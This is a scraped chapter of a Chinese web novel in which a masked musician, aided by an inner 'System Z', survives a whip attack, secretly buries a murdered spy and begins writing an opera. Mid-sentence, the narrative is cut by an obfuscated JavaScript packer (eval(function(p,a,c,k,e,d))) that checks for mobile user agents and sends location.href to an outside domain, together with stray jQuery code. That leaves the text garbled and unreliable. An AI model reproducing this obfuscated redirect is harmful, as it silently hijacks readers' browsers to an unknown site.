喜悦透过眉眼显露,青年一双眼眯成弯弯月牙形。可远处小径上的煤油灯光,又让他笑容褪去。 韦执事提灯,表明来接他的意图,但并没说是谁。 但站在东楼琴房门口后,择明为难得眉毛打架。 “我不知道是否该告诉您。我其实上次就已被人告知,我不能再来这了。” 韦执事正用钥匙旋开门锁,闻言微不可见轻叹一声。 “莱恩先生,这次依然是夫人的意思。我也不能擅自替她做主。” “这……” 几乎如赶鸭子上架被领进琴房,择明别无选择。不过这次韦执事知道为他留了一盏灯,照亮整个空间。 环视琴房,抚摸墙壁浮雕,他就是不去碰那架钢琴。 最后干脆席地而坐,合眼作冥想状。 【系统Z:这还有其他人在,主人】 听系统提示,择明淡定如常。 只因进门起,他就感觉到一道视线紧随着他。 等剩余的煤油燃尽,琴房回归幽暗之际,身后类似门扣打开的轻响,终于让择明重新睁开双眼。 转身回头,黑暗中大步走来的人眼含怒光,昳丽脸庞因愠色仿佛绽放得更美艳。 而他二话不说,扬手朝择明头顶重重挥下短鞭。 7. 打破的声音是pop!-07 短鞭附带锋利尖勾,被甩动着划破空气。 挥舞它的人,宛如斗兽场走来的铁面常青斗士,鲜血飞溅非但不会引起他的恐惧心慌,反滋养着他无情生长的破坏欲望。 由于第一下没完全避开,择明左臂衣袖被划开道豁口。 地板打蜡,光滑锃亮,曾是舞池的场地上棱形条纹交错,他与男人前进又后退,左右置换旋身又追赶,像极了一场凶险舞曲。仅限于追杀者与被杀者之间。 昏暗中偶然瞥见男人一双盛满怒意的眼,择明当即明白,除非他逃出去,否则就得在这承受对方的怒火,直至平息。 求饶道歉于这位独||裁者而言,只能是火上浇油。 但或许,还有一种方法可尝试。 男人步步紧逼怒气未消半分,择明已奔逃至钢琴旁。 将手放在这位沉默‘目击者’身上,择明趁机开口。 “我不知道我哪里触犯到阁下,也不奢望您给予我解释或宽恕。我唯一的恳求,是请您不要伤害我剩下的,这只完好的手。” 对方脚步放缓,仍在靠近。鞭尾轻拍自己掌心,抚弄尖勾如同驯服凶兽。 “你要我放过你?放过一双本来就废掉的手?” “哈!” 仿佛听到滑稽之极的笑话,乌发男人张嘴,发出单音节的怪笑。 【难为这位先生了,其实不想笑,可以不用笑对么,Z】 择明一面向系统调侃,一面叹气将左臂藏于身后。 “对您来说或许是无用,做什么都碍眼,但对我来说,它永远意义深重。若您执意要‘惩戒’它,那请您在今夜,在这里,将我也一同处决吧。” 男人终于停步,两手环在胸前,眯眼审视着。 “还有什么意义?说说看,说给我听,说清楚。” 视野中,面具恍若银月散发微光,它的所有者从极力争取突然陷入缄默,隔着一样安静的钢琴,投以深沉的,饱含歉意的注视。 深深哀愁犹如石子沉潭,涟漪激荡,愈发灼人眼球。 容颜堪比美神阿芙洛狄忒,心中逼仄容不得他物,男人素来以昂首睥睨之姿看待外界,更不在乎那些被藏匿眼中、表情里的情绪。 在他看来矫情又恶心,更与他无关。 可这是第一次,他没由来地凝神,被他所不理解的哀伤定住身。 “我还未兑现我应完成的诺言。” “我欠霍小姐一个……或许会让她失望的约定。一份糟糕的生日贺礼。” 这语气参杂着怪异的欣喜,面具下的嘴角确实上扬,但不禁令人联想到垂死者回光返照时的释然笑颜。 男人垂下手,再度走出几步。 因困惑皱眉,因沉思抿嘴,他绕过钢琴站在择明身前,仅剩半步距离。 捏住人下巴的动作并不温柔,但至少他收起了鞭子。 “那你想做什么。画画吗?无趣。” 再被质问,还戳中近期所做之事,择明反倒不配合了。 择明:“我并不认识您,也不知道您是谁。但或许您是认识小姐的,且能与她日日相见,因此我不希望任何变故毁坏收到礼物前的惊喜。毕竟,这可能是它唯一有价值的地方。” 这点倔强,和他执意保护左手时如出一辙。 男人紧盯着他,另只手握拳于钢琴上锤打。 “既然这礼物连你也觉得糟糕,那为什么不说?你还能送得出手。” “我说了,它还有作为礼物应有的‘惊喜’。” 极富节奏的锤琴声更响了。 “真不说?” “抱歉,阁下。” 这是择明的最终回答。 眼底怒焰再次燃起,男人掐握力道陡增,指甲陷进皮肉。可比之挥鞭皮开肉绽,又算温和。 琴盖被最后重重一锤,择明重获自由被推开踉跄几步。除去下颚掐痕,他毫发无损。 那名神秘男人又如午夜逃跑的辛德瑞拉,转身消失在无光角落,留给身后响亮刺耳的关门声。 择明这才有时间查看最初划破的豁口。 还好没有伤到,衣服也还能补。 “你有没有发现,这位笑声奇怪的先生,一直都没说自己是否认识小姐。他不会真告密去吧,Z。” 【系统Z:如果您真的担心,那您刚才或许不该借此脱身】 择明回得爽快:“没关系,Z,因为连我也不知道,那份礼物会是什么。” 系统Z没声了。 择明:“我只是刚想到这么说而已,不过,我会遵守的。与人交往诚信是首要,你说对么。” 他听到系统仿佛闷闷回答。 【系统Z:所以这在您与我之间也不成立】 与系统逗趣择明步伐轻快,他拎起油灯向外走,在门旁最后回望一眼。 这夜,他顺利送走琴房暴君是好事。但有件坏事却在霍家各处传开,成为一片阴沉乌云笼罩上空。 昨天傍晚,霍昭龙出行时竟遭遇暗杀,他那辆引以为傲的新款汽车被打成训练场上的靶子,布满弹孔。为保护他,两名保镖当场死亡,三名重伤,他自己则伤到右腿膝盖,未来几个月不得不拄拐杖。 伊凡到次日早晨才从霍家专门的医疗室出来,显然整夜没睡。 霍夫人在外等候多时,立马起身。 “伊凡,我先生他现在怎么样?” 伊凡先抬头看一眼钟表,带着倦意回复。 “霍先生膝盖是擦伤没中弹。但以他这年纪和体格,难说以后会影响走路。止痛药我留了,他因为麻醉昏睡,预计下午三点半会醒。到时候再联系我。” 说完环视一周,伊凡对这只有家仆和霍夫人的情形只觉讽刺。 昨夜也是,三少爷露个面就没影,二少爷压根没下来过。 思绪不受控制,想起霍昭龙的另一个‘儿子’,伊凡微微摇头,试图将其扫出脑中。 然而下楼刚走出去,他就眼前的身影停住脚步。 莱特·莱恩站在门廊下,倚着大理石扶手。 不知出于什么心里,伊凡走去问道。 “难道你也来排队看病。” 出神中被他声音惊吓,那人一抖,慢慢转身面露歉意,对他笑道。 “伊凡先生……抱歉,我没看到你在。” 伊凡:“正常。你背后又没长眼睛。” 语气认真得叫人难以接话,择明哑然。 “既然你没病没伤,那我可以走了。处理霍先生的膝盖倒不是我最麻烦的,他的三名保镖个个都在与死神打拉锯战,其中一人失血太严重,或许熬不过今晚,没他幸运。” 听出他潜台词中的宽慰,青年终于放松呼出口气,揉着酸痛的肩膀和右臂。看来他昨夜守在这没少徘徊踌躇。 四下无人,伊凡话说得直接。 “既然你想上去探望,那就直接去。” 择明嘴角轻扯,没回话。 离车来接还有些时间,伊凡思索片刻,从大衣兜中取出铁皮烟盒。 烟盒表层图案已经褪色,被斑驳锈迹覆盖,辨不出原样。像他这样一位收价昂贵的名医,竟用着如此破旧古老的物品,画面着实怪异。 他沉默着向择明递去一支。 择明摆手拒绝,但却主动拿出火柴。 门廊下烟雾袅袅,伊凡两指夹烟,最开始因吸气过猛,咳了两声。 “这是您的家人送给您的吗?” 提问与他们第一次同坐汽车时精准得匪夷所思,但伊凡已能对此保持镇定,点头承认。 “我父亲的遗物。”他说着特地翻转铁盒,亮出锈迹,“这上面,留着由他的血种出的铁锈。” “他是军人?” “不,码头纤夫。” 回忆一旦被勾起,汹涌如潮水抵挡不住。让平日鲜少谈及自身的伊凡,破天荒说起父亲,童年,以及那远去的年幼自己。 不富裕但能温饱的平凡家庭,母亲就是普通的渔妇,能扛米扛油扛鱼桶,追着顽皮儿子爬上树,又可心细温柔,整夜陪着发烧重病的女儿,仿佛知道所有治疗病痛的方法。 父亲个头很高,也很瘦,常年在海港边劳作吹风,中年未到脸先赶着苍老,布满风痕所致的褶皱。他话不多,但会在孩子受骂挨打时沉默一拦,背起人玩骑长颈鹿。 原以为日子会平淡地过下去,夫妻二人住在港湾边劳作一生,五个孩子健康长大,各自成家。 一切都因一场火,毁得干干净净。 作为长子,伊凡那晚第一次跟着父亲外出学习收网,怀揣对未来的激动期待归家。 谁曾想一回来,家竟变成火海。为救妻儿,家中顶梁柱父亲冲入火海,却也是白白送命。 倾听到这,择明由衷感叹。 “我们俩可真和火过不去,伊凡先生。” “谁说不是呢?神话里,火种可是人从天上偷来的。所以你看,现在有谁能驾驭得了?”伊凡嗤笑自嘲,丢掉烟蒂用脚尖碾了碾,“自私自利,贪得无厌的人啊。” 一辆车驶出林荫道,来势汹汹,下车的霍子骥一样暴躁,远远就能听见他对车内人的咒骂。 “我不管你们昨晚到底派了多少人陪同,勘察多仔细,现在出事是在我负责的地盘,这在以前从有过一次!” “给我去查清楚那群畜生是哪来的,又是从哪得到的消息,没把他们头皮撕下来给我当地毯,那就用你们的!” 霍子骥昨夜没守家和此刻的气急败坏,都有了解释。 昨晚暗杀是他打点不到位,险些酿成大错。 厉声叱喝似乎不过瘾,他抬脚猛踹车门。这大概把里面的人吓得不轻,等他转身后驾车逃得飞快。 霍子骥步上台阶,抬眼先看见择明。 正愁没处发泄,他顶着一张神情狰狞的俊脸,加快步伐。然而发现对方身边的伊凡,气焰顿消。 择明鞠躬行礼,像家中的谦卑仆人。 “三少爷。” 霍子骥冷笑,手叉着腰,好整以暇打量他。 “这时候倒对我卑躬屈膝起来了?是因为你做贼心虚吗?” 他俨然将择明当成最可疑的‘泄密者’针对。尽管这压根没道理。 然而今日不用等择明出声,就有人替他回应。 “三少爷何必让愤怒冲昏头脑,与其想着漫无目的乱揪嫌犯,不如等霍先生醒过来,直接问他更好。我想霍先生应该有看到袭击者的模样,至少两名以上。” 对上伊凡,霍子骥啧嘴,莫名投降得迅速。 “不用你说,我知道。” 甩下这话,他憋着一肚子火与那二人擦肩而过。 觉得很稀奇,择明不禁多看几眼。 他总觉得,这匹嚣张无畏的坏马驹似乎忌惮着医师伊凡。 而这点,果然在他首次于庄园被伊凡邀请上车后得到证实。 原来最开始伊凡初进霍家当家庭医生时,就曾被霍子骥当成一个具有挑战性的‘猎艳目标’。死缠烂打将近半年,却屡战屡败,后来以疗伤为借口故意单独相处,打算对伊凡用强迫手段。 谈到当时情形,伊凡声音比以往冷了八度。 “他把钥匙丢出窗外,说如果我不帮他爽一把,就跟我一起关到早上。但为去给另外的顾客看病,我就做了让他后悔并彻底放弃的事。” “是什么?”择明好奇追问。 车后座里,伊凡翘起腿,冷哼出声。 “我教会了他,膝跳反应的杀伤力有多大,并告诉他男性生|殖||器官如果断了,凭目前的医学技术是无法接上的。若他以后还想站着排尿,只能装导尿管和特制皮套,天天洒手上。” 车内先是一阵寂然,待伊凡余光偷瞥身边,择明捂嘴发抖,最后憋不住捧腹大笑。 受其感染,笑意逐渐爬上伊凡的冷峻面庞。 他很快又转头,看似观望车外风景,实则如胆小窃贼,偷瞄玻璃倒影。 这映着青年半张正常脸,因大笑而泛出绯红。那层堆积皮质仿佛不再难堪可怖。只会让人想到一朵樱粉月季在眼前,重瓣花轻摇轻晃,可爱讨喜。 相处多日伊凡很清楚,在庄园,在陌生人多的街区,面具向来不离青年脸颊。 但在教堂和那群流浪儿身边,诡谲面容毫无保留展露。 卸下假面,亦是卸下所有伪装,才能得见今日鲜活欢愉的笑,发自内心的快乐。 此刻他多少能开始理解,为何教堂里的孩子会称莱特·莱恩是天使临世了。 老爷车悠悠减速,停于教堂外的小巷。但伊凡没下车,只是从提箱中取出张纸和一瓶油膏。 “拿去,按纸上说明每天必须涂抹清洗。我指的是,每天,必须。” 择明手扶车门,诧异着没有下一步。 伊凡好似不耐烦,又伸长手一送。 “最近有人跟我提议,虽然来上课的小孩不怕你的脸,但以后规模变大,甚至有愿意交学费的学生来,你的外表还是会被列入考量项里。而你欠着我材料费诊疗费住宿费,所以就是这么现实,能提升的尽量做到。再说,你那半边不是‘伤’,这半边总是了吧,被你自己闷坏的。” 为表达对这类不自爱行为的鄙夷,他白眼一翻,小作总结。 “如果你不是想用脸做感恩节焖火鸡,那就是蠢。” 特质药膏送出,车扬长而去,择明在巷口目送,掂量着药瓶好笑地再叹。 “伊凡先生,真的不适合做医生以外的职业。” 【系统Z:特别是收债】 教授完一天课程回到花房,择明乖乖按要求,尝试着这时代的‘药物面膜’。 药散发苦味清香,涂抹后刺痛着每处毛孔,半张脸如被蚂蚁啃噬,又麻又烫。 择明不禁嘟嘴吹气,为自己痛痛飞,“我不得不开始怀疑,伊凡先生是也想教我‘令人后悔的一百个医学小知识’。” 【系统Z:或许等您洗完脸,我们就知道答案了】 窗外响起闷雷,闪电光紫红妖冶,为转移对脸部不适的注意力,择明收起画纸手记,吹灭夜灯,搬出小凳子到花房后小径,满脸期待坐下。 【系统Z:您在做什么】 “我在等雷雨来临,我已经闻到那股潮湿,强烈的气味了。” 大道上响起两个人行走的脚步声,择明与他的花房没等来暴雨,而是另外一对客人。 霍子骥一扫白天不快,强硬搂着艾文进花房。 从接吻开始,狂野又霸道。熟悉他偏爱的节奏,艾文不会再像最初那样只会懵懂应和,反而处处随他心意配合。 搂抱中仍不忘踹翻花盆,刻意踢倒矮桌,画纸书册铺满地,霍子骥感受身下之人的胸膛耸动,忽然停住。 察觉他异状,艾文喘着气,声音娇柔。 “您、您今天是不高兴吗,三少爷。” 霍子骥嘴角扬起,用下巴抵着少年锁骨磨蹭,懒散劲好似困倦老猫,“是啊,我家的老头子差点被我害死,更糟糕的是我昨天修剪头发到一半就被叫回来,啧。” 艾文皱眉,纠结着干巴巴安慰。 “老爷一定会没事的,三少爷您已经做得很好了。” “哦?”霍子骥突然有了兴趣,支起脑袋追问,“你觉得我哪里做得好?” “就、嗯——处处都为老爷着想,虽然,唔、虽然有时候会偷懒,但关键时刻从不掉链子。” “还有呢?” “还、啊,还有就是很懂、很懂待人接物。知道怎么照顾人,很聪明……” 霍子骥手上动作未停,情||欲涌动,引得对方无法顺畅说话。他以往最喜欢看艾文被欺负时眼眸湿润,羞怯勾人的模样,让他获得极大愉悦。 这是在他身边呆过时间最长的床|伴,因为能满足他不同常人的性||事癖好。 张嘴咬住人耳廓,他手掐上那修长脖颈,却冷声质问。 “所以……我这算,找出你了吗?” 喘息声停,羞赧少年神色陡变,猛力翻身调转位置将霍子骥摁在地上。他掐握脖颈的力道,比对方更含威胁。 举着两手不做反抗,霍子骥若无其事道,“这真是大惊喜,艾文·布里奇。所以,就是你一直在偷偷泄密?” 艾文自然不会给予回答,他时刻注意霍子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592333|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骥空空的两手,从跨坐改为膝盖重压胸膛。 “你还想从我这问出什么?亲爱的。” 话音未落,他被迫后脑撞地,两耳嗡鸣。 “闭嘴,你让我恶心。” 狠戾语气与他曾经的温顺截然相反。 艾文胸膛起伏激烈,却不是因欲|火焚身,两眼发亮却不是泪光朦胧。恨意怒意交缠,是地狱身处燃烧万年的烈火,饶是霍子骥也不禁眼皮一跳,暗道情况比想象中凶险。 “从你这问出什么?我已经不需要了,霍子骥,我的好三少爷啊,只要你找出我,我的使命就已经完成了。” 霍子骥强忍眩晕,思考未停。 事实确如艾文所说。 尽管他找出了家中潜伏的内鬼,可暗杀已经发生,家主生命受威胁,生意货物都大受影响。即使不是他直接导致的,但逃不开他这关键一环。 无论怎样,在家被惩戒的只会是他。 因为这次他犯的错,已不能再用轻飘飘的道歉赔过了。 霍子骥怒极反笑,又问。 “那么你想要什么?钱?他们又给你什么?拿你家人威胁你还是拿衣食无忧一辈子的保证?”不等回复,他又阴阳怪气一笑。 “放心,你这种人我见多了。其实你蛮有手段的,我还挺欣赏你,而且我们不也过得很愉快?至少你叫得是很爽吧。不如你把你背后的人告诉我,我给你更长远,更富足的保证。” 艾文再度沉默,但目光不再冷静,拽起他衣领试图砸地泄愤。 微不可见的寒光来自霍子骥拇指,他抬手利落一横,鲜血绽放在少年胸口。 反击意想不到,艾文虽及时弹开,却被不如霍子骥眼镜蛇般的攻势,挨了两下,血口更深。 踹飞花盆反被霍子骥避开,艾文转身在花房里闪躲。 雷声轰轰,老天发了怒,闪电成为屋内唯一的光源,也是两人中唯一公平的条件。 霍子骥后脑被砸,听力时好时坏,他默默将顶针换到右手,浑身紧绷提防四周。 花影树影攒动,每一个角落都那么可疑,好像下一秒就要冲出视死如归的敌人。 但霍子骥心知肚明,比起杀害他,艾文更会想逃出庄园,将其余还没透露的机密、把柄,转告给自己背后的人。 “你就这点能耐吗,宝贝。我是不是该提醒你,你就算拿着那点情报回去,也不可能让他们满意的。” “而且,你以为你完成好任务回去,就能功成身退吗?” “你不会不知道,和霍家做对的,又是什么妖魔鬼怪吧?哈!“ …… 污言秽语,恶意刺激,一针一针扎着脑袋。 伴着一声劈天惊雷,艾文怒吼着冲出,推倒整排扦插植株。他撞向在心里被他杀过千遍万遍的男人,与其凶狠扭打。 两人的战争于第二声雷响落幕,霍子骥浑身泥土,狂咳不止,狼狈得爬不起来。 艾文踉跄朝外走,然而颈间一刀割破气管,他时间所剩无几。可他强忍剧痛捂着血口,挣扎着要完成任务。 因为他不得不承认,霍子骥刚才说得句句属实。 无论他是否完成任务,他都只有死路一条。 疼痛,疲惫。 绝望如剧毒被注入身体,漫向四肢百骸。 为什么会如此痛苦。 为什么会如此煎熬。 既然如此,他也宁愿更无耻下作,死也要拖上那霍子骥,让对方余生不再好过。只要走出这扇门,只要让别人,哪怕仅是一个看到他,他就成功了。 泥堆里,霍子骥单手捂耳撑起身体。 他亦明了艾文的意图,纵使眩晕视野模糊,也同样固执追去。 那道紫红闪电,异常豁亮。 它将门边忽现的身影照出,也让艾文两眼发昏,让霍子骥驻足。 无力的身躯被人轻拥,怀抱温暖却又因雨水掺杂丝丝阴冷,艾文眼底发青,为脸被小心抚摸的触感而热泪盈眶。 血倒流进气管,他张嘴像溺亡者发出呻||吟。 只不过他并未落入冰冷孤独的死亡之海,而是在深深怜爱与无尽温柔之中沉沦。 “晚安,我亲爱的艾文。” 这问候短暂也美好,同样是以‘亲爱的’称呼,却能使他为之心颤,坠向安然。他双唇张合,道出回应。 ——晚安,亲爱的莱恩先生 那只轻抚脸颊的手停在少年触目惊心的血口。因震惊而脑中空白的霍子骥,听到一声脆响,也听到内心塌陷,狂流倾泄的轰鸣。 横抱起艾文的男人,有着世间最为荒诞的脸。 左半边,犹如受魔鬼恶毒诅咒,丑陋已不足以描绘其超脱常理的混乱骇然。 右半边,恍若被神明亲吻赐福,雨水滑落苍白光洁的肌肤,端正五官因那无人企及的慈爱超然,除‘完美’之外,再无恰当言辞描绘。 它找不出任何一丝人身上该有的,试图终身隐藏,极力纠正的劣性。 雨点敲打花房玻璃,音拍急促,霍子骥像尊木头人定在那,眼睁睁看择明抱着艾文的尸体从面前经过。 玫瑰花渠正好这两天翻修,将土挖出棺材长宽,择明庄重为人下葬,按艾文信仰为其祈祷,洒下悼念花朵。 铲土有条不紊填埋,嘴中轻轻哼出安魂曲,空灵迷幻。 他如此宁静自然,以至于影响到了霍子骥,让对方自觉走到矮桌,坐下成为唯一参加葬礼的宾客。 大脑无法思考,霍子骥低头。借助屋外闪光,他看清脚下被他打翻的白纸内容。 【诚致莱特·莱恩生命中的光,午夜中的梦,霍骊小姐。为您值得世界欢庆之诞辰,特此献以这份拙劣的《安尔德》】 首行下,标有开幕过场,出现角色,人物关系。毫无疑问,这是一份歌剧台本。 以往最是厌烦这些文字,此刻视线却不自觉黏着,飞快往下浏览。 第一幕,第一节。 落难王子安尔德受敌国巫师诅咒,死亡将在傍晚找上他,勒断他年轻的生命。 得知自己将被死神的镰刀收割,安尔德畏惧着,担忧着,最后不甘屈服,告别心爱的亲友开始逃亡。 马儿换了一匹又一匹,干粮早已吃尽,他的水囊像干裂的嘴唇,再也挤不出一滴。 疲惫又绝望,安尔德躲进无人敢涉足的禁地。 他躺在沼泽中央,用最后的尊严选择自己的死法。 可人却被牵引着飘出泥潭,重新站在结实地面,冰冷身躯被羽毛覆盖回温,阵阵不属人间的歌声婉转,抚平身心伤痛。 饥饿虽令安尔德失去视力,但他仍能开口询问。 【你是谁,这神秘奇怪的好心人】 【为何你拥有比白鸽更柔顺的翎羽,比夜莺更动人的嗓音】 【为何要救我,为何要到我身边】 霍子骥心若擂鼓,不自觉寻找着下一页。 凌乱纸张被他翻得底朝天,他最终在身后捡起续页。 【来,来,来】 【到我身边】 【我的双翼宽阔又松软,世间任一位国王之床榻无可相比】 【到我身边,我的羽翼下】 【我被天堂之主厌弃,被地狱之王驱赶】 【但你将不必忌惮黑暗,不再畏惧死亡,因我的吻可将苦痛化作蜜糖,我的爱是那无礼死神之永敌,能将你永远掩藏】 【只需你轻唤我之真名,只需你从此起誓……】 “现在,三少爷。” 执纸的手战栗,霍子骥回头,望着玫瑰花渠旁蓝眸含笑的人。 “希望您能记住,这又是我们的一个秘密了。” 喉结因急促吞咽上下动,霍子骥紧紧攥着页角,凝视的眼中闪动不一样的渴求。 【你这邪恶又良善,黑暗又光明的怪诞结合体啊】 【你这孤独已至癫狂的,前来救赎我的死亡天使啊】 他深深吸气,如剧目中的王子安尔德,以手按于心口。 【请给我一个亲吻,请拥我入你怀中】 【我将捧起你脚前尘土,向这世界宣告我是你的专属】 8. 打破的声音是pop!-08 浅黄牛皮纸,三沓足有手掌厚,当钢笔尖头画出最后一道终止线,择明松手任其脱落,滚动着坠出桌面。 他仰头后颈枕住椅背,如石雕复活深深吐气。 “创作可真是耗人心血的怪事一桩。”择明声如呓语,嘟哝着,“如果我脑中想法能有实体,他们一定打了一场没有休止符的,异常艰辛的战争。” 轻嗅墨水独有的杏核味,他却又无法扼制心中的畅快命嘴角微扬,为自己庆贺。 “《安德尔》的曲与诗,完成了。” 遵守言出必行的教条,那晚他对神秘男人怎么说,如今就怎么做。 仅献给霍骊小姐的礼物,音乐天才‘莱特·莱恩’的首部处女作——七幕歌剧《安德尔》,耗时两天终于他在笔下诞生。 然而就像屹立顶峰的艺术家永不满足成品,严苛己身,择明摇头批判。 “可如果是我,我绝对不会选这题材。它就像才酿几天的葡萄酒,腥臊不足味。最重要的是,他不够有趣,引人发笑。” 双手交叠搭于小腹,他这会儿才得到秘密陪聊者的回应。 【系统Z:从您这两天不吃不喝下的工作量看,您确实消耗一大部分精力体力,应该挑在今天小作休息】 择明阖眼晃荡双脚,不说话。 自那场暴雨夜起,某种细微变动出现在了系统Z身上。 对他,系统Z不再句句必答。 同样的‘是的,主人’,‘您说得对’,连音调都不曾变化半分,可与先前相比,却多出难以察觉的冷漠。 择明起身,经过工具架顺走一把剪刀。 玫瑰花渠位于他吊床正前方,栽培期见叶不见花,需格外关注光照水分,又得提防可恨狡诈的红蜘蛛啃坏根茎。 但择明不愧为久居花房的特殊花农,经他照料,这片新玫瑰长势可喜,几乎全部存活,深深扎根土壤。也扎根在消失人世,安眠于此的艾文身上。 以湿布抹去一处隐蔽蚜虫卵群,他托起最高一株玫瑰的顶叶,温声问候。 “早安,艾文。这么好的天气,你照料的那群新生马崽一定满草场跑了,令人羡慕的快乐小东西。真希望你也能在。” 【系统Z:您是在后悔杀死了艾文吗】 后悔杀死艾文。 鹦鹉学舌念词几遍,择明并未回答。 他简单洗漱换衣,将台本乐谱用油纸包好,走出花房挂起那柄硕大而牢固的新锁。这是霍昭龙在他正式搬进来时托仆人送来的。 不过锁只在那次暴雨夜后才派上用场。 为完成作品,择明特地向伊凡请假三天,今日刚好是最后期限。他避开人群,熟练从偏门离开庄园,但却朝城镇相反的方向前进。 他抵达拥挤喧闹的火车站,出手阔绰买了一等座位。包下整个车厢。 医师伊凡不仅给他批假期,还慷慨发放薪水。其中虽有按期分摊,克扣最初那笔‘欠款’,但余额依旧可观。 【系统Z:离您买小马驹还有多久,主人】 等待火车启程时再被系统搭话,择明捧起报纸,刻意眯眼,摆出漠不关心的富人脸谱阅览。 报纸质感松轻,翻页嚓嚓声挠人双耳。 在这场沉默对峙下,系统Z成为冷战中最先投降服软的一方,提出疑惑。 【系统Z:您是在对我生气吗,主人】 “尔约村海西水库,林场主西里尔·柯姆钓上有史以来最大的鳟鱼,重量远超去年最高纪录两倍。据悉,这是西里尔场主第三次打破当地垂钓记录……” 择明朗声念着,咂嘴兴致勃勃,“用红莓酱焖烤,洒上碎丁迷迭香。味道光是想想,就要流口水了。” 下一篇,当地某贵族举行盛大的订婚典礼,然而联姻的未婚妻竟于婚礼当天要求解除婚约,理由是和男方性格实在不合,两方人最终不欢而散。 但文章不知是三流笔者的敷衍编造,还是为顾及贵族颜面,信息含糊又简略,更像随口谈及的八卦流言。 择明:“噢,谢天谢地。明智的选择,聪明的女孩。说到底,婚姻其实与任何相伴关系一样,若有不契合的,互相磨平棱角未来倒也相安无事。可若彼此怎么都无法适应,只能说快趁早逃。” 【系统Z:主人】 仅是称呼,再无多余言语。 择明总算放下报纸,窗外景色正好因火车启动而加速倒退。 “我不是对你生气,Z。”他侧过头,随铁轨闷响沉声开口,“或许是我该向你道歉。为我的自负和狭小气量。因为我并不喜欢别人质疑我的决定。” “凡是我做的,必是我抉择已定的。何来后悔一说?” 他的回答令两个疑惑得以解开。 一是他为何别扭置气,二是他对马童艾文所做是否后悔。 霍子骥在花房与艾文生死较量,他一直在外目睹全程。并在死斗结束后现身。 替霍子骥藏起会威胁他继承人之位的间|谍尸体,清理场地不留丝毫痕迹,最后将伞借给浑浑噩噩的三少爷,让他回主宅平复这夜带来的波折心情。 “他已经在痛苦谷底,不再向神求愿,反朝着那死亡天使乞求垂怜,期盼永远安宁的止歇。” 择明念出他歌剧第三幕中的台词。 “可怜的艾文。他消失在八月莅临前。可在我不存在的‘过去’里,他又是怎么消失的?Z。” 暂无权限查询其余人物信息,系统不可能回答。 但最适合的猜测,早于那晚由霍子骥之口道出。 艾文身后操纵着的指使者,就是要不择手段让霍子骥失格,哪怕只是动摇其在霍昭龙心里的地位。 他十分了解霍子骥,乃至霍家庄园上下。这种熟悉绝非外界旁敲侧击,偷摸观察出的。 他知道要如何指导艾文伪装成诱惑可口的猎物,悄然送至野兽嘴边,替他敲打獠牙,拢出秘密碎屑供为自己利用。 最后,等待可丢弃的棋子丧命。不然便由他斩草除根。 一个多么可憎可畏,冷若冰霜的棋手。 【系统Z:所以,您是想说您的作为对艾文来说更仁慈吗】 “不。” 择明托腮,语调轻快。 “你可以说我奇怪,说我可爱,愚蠢,下流或无趣,但Z,你要记清楚,我从来都不是仁慈的人。仁慈,也从来不是形容人类的。” 恍若玩笑般,他补充道,“再说,我可是要当‘反派’的啊。” 【系统Z:您的回答让我困惑,主人】 择明:“唔,我知道了。你说我要买什么颜色的小马驹呢?我个人不太爱注重血统,就按颜色挑好了。” 话题转折无比生硬,即便如此,系统亦明白它不可能再问下去。 一小时旅程转瞬即逝,这趟火车终点站——伊亚郡,是与霍家庄园所在城郊截然不同的繁华地带。 街道更加宽敞,人们衣装体面,甚至连那群巷口乞丐都白净健康,精神气足。作为佩戴面具,引人注目的怪咖,择明穿行街道,竟没收到任何好奇惊诧的注视。 原因或许在于中央河畔旁的建筑——安士白剧院。 白色剧院左右完全对称,如坚固堡垒被河道环绕。光看外面装潢,安士白剧院最令人称道的,当属它由铜网彩窗构建的花形屋顶。 万籁俱寂的夜,河边剧院灯火通明,乐声歌声以及久久不能停息的掌声,都将从‘花蕊’处涌向四处,勾起兴致,引人向往。 在剧院乐厅遍地的伊亚郡,安士白是最受郡中富商权贵喜爱,常常流连忘返的大剧院。亦是无数演奏家,作曲家,歌唱者心驰神往的舞台。 择明敲响西侧小门,门上气窗最先推开。 男职工身穿紫色制服,戴着小帽探出脑袋。乔尔,他胸口名牌上印有名字。 他上下打量择明,面露困惑。 “您好,请问您是……您找谁吗?” “原谅我贸然到访,我来是想见一见这的经理,或任何一位在这的负责人。” 乔尔了然,打响指示意他稍等。 气窗合起没两秒,整扇门从里用力拉开,乔尔招呼着让择明进来,互相介绍后一路自来熟攀谈。 瞄见择明左手夹着的油纸包,乔尔笃定道。 “你也来找汉斯先生自荐?” 择明微笑,当作默认。 乔尔却耸肩,同情地看着他,“那希望你做好最后被轰出来的心理准备。这两天汉斯先生心情不太好,前一个来的人,汉斯先生直接撕了他的曲谱。还有上上个,其实是剧院老熟人了,汉斯先生格外看重他的作品,结果前天撞枪口……” 绘声绘色描述被汉斯先生‘婉拒’的自荐者,乔尔领路到中庭喷泉,终于忍不住停下。 “我能多问你一句吗,莱特。”他说着点了点自己脸。 “你特地戴着面具来,不会是以为这样显得别出心裁,突出个性,好让汉斯先生看中你吧。上个月,有对表演者打扮成火鸡过来。呃——后来他们真被扒干净毛,扔水池里。” 择明忍俊不禁道。 “你误会了。我这是个人原因。” 衣领下拉几寸,露出他脖颈处的烧伤疤痕,无需再多解释。 乔尔默然,不禁多看那面具几眼。 剧院当班以来受上司耳濡目染,他逐渐养成给进出剧院的人打分的爱好。 不知哪冒出的莱特·莱恩,谈吐得体态度谦逊,一双蓝眼漂亮明净,仿佛会说话会微笑。 交谈从不打断他,言辞更无命令句式。就像邻里间最受簇拥,最可靠可信的主心骨,众人会自愿顺服听从。 乔尔担忧地摇摇头。 他的最高分已经给出去了,就是不知汉斯先生那会怎样。 说话间,二人已经到三楼大休息室。 “好吧,总体上讲,你或许能比前几个淘汰者幸运。汉斯先生通常情况下都很平静,很好相处——” 屋内噼里哐当,伴着猫咪叫唤,那位‘很好相处’的汉斯先生正挺着大肚囊,试图把桌面上的东西扫到地上。 